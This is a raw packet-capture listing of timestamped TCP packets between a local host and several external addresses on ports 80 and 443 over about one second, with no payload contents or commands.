Aug 30, 2024 06:17:02.005600929 CEST	49734	80	192.168.2.4	194.58.114.223
Aug 30, 2024 06:17:02.005670071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.005969048 CEST	49734	80	192.168.2.4	194.58.114.223
Aug 30, 2024 06:17:02.006627083 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.010065079 CEST	49736	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:02.010685921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:02.010741949 CEST	80	49734	194.58.114.223	192.168.2.4
Aug 30, 2024 06:17:02.011480093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:02.014930010 CEST	80	49736	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:02.014998913 CEST	49736	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:02.015515089 CEST	49736	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:02.020457983 CEST	80	49736	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:02.481668949 CEST	80	49736	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:02.481842995 CEST	49736	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:02.481940985 CEST	49736	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:02.482381105 CEST	49737	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:02.487668037 CEST	80	49736	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:02.487679005 CEST	80	49737	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:02.487746954 CEST	49737	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:02.487960100 CEST	49737	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:02.493017912 CEST	80	49737	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:02.656981945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:02.657063961 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.657388926 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.662188053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:02.671628952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:02.671695948 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.671956062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.676673889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:02.700508118 CEST	80	49734	194.58.114.223	192.168.2.4
Aug 30, 2024 06:17:02.700566053 CEST	49734	80	192.168.2.4	194.58.114.223
Aug 30, 2024 06:17:02.772349119 CEST	49738	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:02.772387981 CEST	443	49738	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:02.772461891 CEST	49738	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:02.772757053 CEST	49738	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:02.772770882 CEST	443	49738	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:02.914959908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:02.915031910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.928034067 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:02.928112984 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.958909035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.959153891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:02.963738918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:02.963906050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.016808987 CEST	80	49737	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.016856909 CEST	49737	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.016902924 CEST	49737	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.017879963 CEST	49739	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.021716118 CEST	80	49737	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.022684097 CEST	80	49739	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.022727966 CEST	49739	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.022828102 CEST	49739	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.023343086 CEST	49740	443	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.023380995 CEST	443	49740	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.023427963 CEST	49740	443	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.023864031 CEST	49740	443	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.023879051 CEST	443	49740	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.028060913 CEST	80	49739	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.028119087 CEST	49739	80	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.146922112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.146981001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.150890112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.150943995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.157155037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.160648108 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.162138939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.165510893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.230458975 CEST	443	49738	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:03.230632067 CEST	49738	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:03.237643003 CEST	49738	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:03.237653017 CEST	443	49738	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:03.237868071 CEST	443	49738	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:03.237910032 CEST	49738	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:03.238226891 CEST	49738	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:03.280503035 CEST	443	49738	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:03.345680952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.345732927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.345746994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.345746994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.345756054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.345765114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.345768929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.345779896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.345783949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.345793009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.345796108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.345802069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.345838070 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.346692085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.346702099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.346710920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.346721888 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.346755028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.346777916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.353166103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.353173971 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.353178978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.353188992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.353198051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.353209019 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.353219986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.353238106 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.353276968 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.353986979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.354033947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.354079962 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.354089975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.354099989 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.354127884 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.354136944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.354146004 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.354156017 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.354182005 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.419025898 CEST	443	49738	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:03.419102907 CEST	49738	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:03.419114113 CEST	443	49738	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:03.419152021 CEST	49738	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:03.419159889 CEST	443	49738	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:03.419199944 CEST	49738	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:03.419260979 CEST	49738	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:03.419271946 CEST	443	49738	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:03.420629978 CEST	49734	80	192.168.2.4	194.58.114.223
Aug 30, 2024 06:17:03.427464008 CEST	80	49734	194.58.114.223	192.168.2.4
Aug 30, 2024 06:17:03.440018892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.440032959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.440042019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.440085888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.440126896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.440154076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.440190077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.440396070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.440443039 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.440521002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.440535069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.440565109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.440593958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.440603971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.440625906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.440658092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.440669060 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.441402912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.441412926 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.441421986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.441452980 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.441462994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.441473007 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.441473007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.441504002 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.442209005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.442255020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.442264080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.442274094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.442287922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.442298889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.442310095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.442327976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.447657108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.447706938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.447716951 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.447719097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.447741985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.447751045 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.447770119 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.447781086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.447788954 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.447815895 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.447837114 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.448183060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.448216915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.448226929 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.448230028 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.448256016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.448271990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.448618889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.448662996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.448672056 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.448677063 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.448703051 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.448724985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.448726892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.448735952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.448745012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.448770046 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.448797941 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.449628115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.449637890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.449646950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.449656963 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.449666977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.449675083 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.449676991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.449701071 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.449717999 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.510415077 CEST	443	49740	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.510512114 CEST	49740	443	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.513139963 CEST	49740	443	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.513154984 CEST	443	49740	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.513389111 CEST	443	49740	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.513446093 CEST	49740	443	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.513690948 CEST	49740	443	192.168.2.4	76.76.21.123
Aug 30, 2024 06:17:03.534415960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.534471989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.534502983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.534512043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.534535885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.534558058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.534562111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.534571886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.534579992 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.534590006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.534596920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.534601927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.534619093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.534640074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.535289049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.535298109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.535306931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.535337925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.535348892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.535404921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.535414934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.535423994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.535444021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.535465956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.536009073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.536017895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.536027908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.536053896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.536073923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.536075115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.536084890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.536092997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.536103010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.536113977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.536122084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.536129951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.536926985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.536936045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.536945105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.536973953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.536988020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.536994934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.537003994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.537012100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.537023067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.537030935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.537054062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.537067890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.537920952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.537930012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.537940025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.537954092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.537962914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.537971020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.537972927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.537981987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.537997007 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.538012981 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.538669109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.538685083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.538707972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.538727999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.542027950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.542093039 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.542102098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.542113066 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.542144060 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.542253017 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.542263985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.542273045 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.542298079 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.542310953 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.542325974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.542335987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.542345047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.542361021 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.542361975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.542373896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.542373896 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.542392015 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.542422056 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.543023109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543034077 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543042898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543068886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.543104887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.543126106 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543137074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543147087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543164968 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.543257952 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.543654919 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543663979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543673992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543705940 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.543731928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543735981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.543741941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543751955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543761969 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543767929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.543773890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.543787003 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.543812990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.544564009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.544579029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.544589043 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.544611931 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.544625044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.544636011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.544636011 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.544645071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.544656992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.544662952 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.544682026 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.544713974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.544785023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.544823885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.545420885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.545474052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.556509972 CEST	443	49740	76.76.21.123	192.168.2.4
Aug 30, 2024 06:17:03.630490065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.630548954 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.630584002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.630594969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.630600929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.630606890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.630611897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.630624056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.630634069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.630635023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:03.630656958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:03.630690098 CEST	49733	80	192.168.2.4	147.45.44.104
